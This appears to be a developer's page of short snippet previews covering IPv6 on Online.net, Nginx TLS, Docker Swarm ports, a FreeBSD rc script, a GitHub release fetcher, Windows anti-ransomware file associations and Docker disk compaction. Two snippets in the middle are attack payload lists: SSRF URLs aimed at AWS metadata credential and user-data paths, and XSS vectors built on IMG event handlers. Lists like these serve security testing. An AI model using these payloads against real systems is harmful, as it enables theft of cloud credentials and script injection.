Niels Hofmans hazcod

Online.net: IPv6 in Debian virtual machines

Without this annoying dribbler thing.

Variables

RANGE = /64
EXT_IF = external interface
IPV6 = Any IPv6 in RANGE
DUID = dhcp client id. Find it in console.online.net

How to setup Let's Encrypt for Nginx on Ubuntu 18.04 (including IPv6, HTTP/2 and A+ SLL rating)

Virtual hosts

Let's say you want to host domains first.com and second.com.

Create folders for their files:

Docker Swarm Mode Ports

Starting with 1.12 in July 2016, Docker Swarm Mode is a built-in solution with built-in key/value store. Easier to get started, and fewer ports to configure.

Inbound Traffic for Swarm Management

TCP port 2377 for cluster management & raft sync communications
TCP and UDP port 7946 for "control plane" gossip discovery communication between all nodes
UDP port 4789 for "data plane" VXLAN overlay network traffic
IP Protocol 50 (ESP) if you plan on using overlay network with the encryption option

	## IPv6 Tests
	http://[::ffff:169.254.169.254]
	http://[0:0:0:0:0:ffff:169.254.169.254]

	## AWS
	# Amazon Web Services (No Header Required)
	# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
	http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
	http://169.254.169.254/latest/user-data
	http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]

	#!/bin/sh
	#
	# $FreeBSD$
	#
	# PROVIDE: enczfs
	# REQUIRE: sshd
	# BEFORE: iocage
	# KEYWORD: shutdown
	#


	get_latest_release() {
	curl --silent "https://api.github.com/repos/$1/releases/latest" \| # Get latest release from GitHub api
	grep '"tag_name":' \| # Get tag line
	sed -E 's/."([^"]+)"./\1/' # Pluck JSON value
	}

	# Usage
	# $ get_latest_release "creationix/nvm"
	# v0.31.4

	%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
	<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">

	::
	::#######################################################################
	::
	:: Change file associations to protect against common ransomware attacks
	:: Note that if you legitimately use these extensions, like .bat, you will now need to execute them manually from cmd or powershell
	:: Alternatively, you can right-click on them and hit 'Run as Administrator' but ensure it's a script you want to run :)
	:: ---------------------
	ftype htafile="%SystemRoot%\system32\NOTEPAD.EXE" "%1"
	ftype WSHFile="%SystemRoot%\system32\NOTEPAD.EXE" "%1"
	ftype batfile="%SystemRoot%\system32\NOTEPAD.EXE" "%1"

	#Ensure to exit docker from taskbar first.
	cd ~/Library/Containers/com.docker.docker/Data/com.docker.driver.amd64-linux /Applications/Docker.app/Contents/MacOS/qemu-img convert -O qcow2 Docker.qcow2 Docker2.qcow2 mv Docker2.qcow2 Docker.qcow2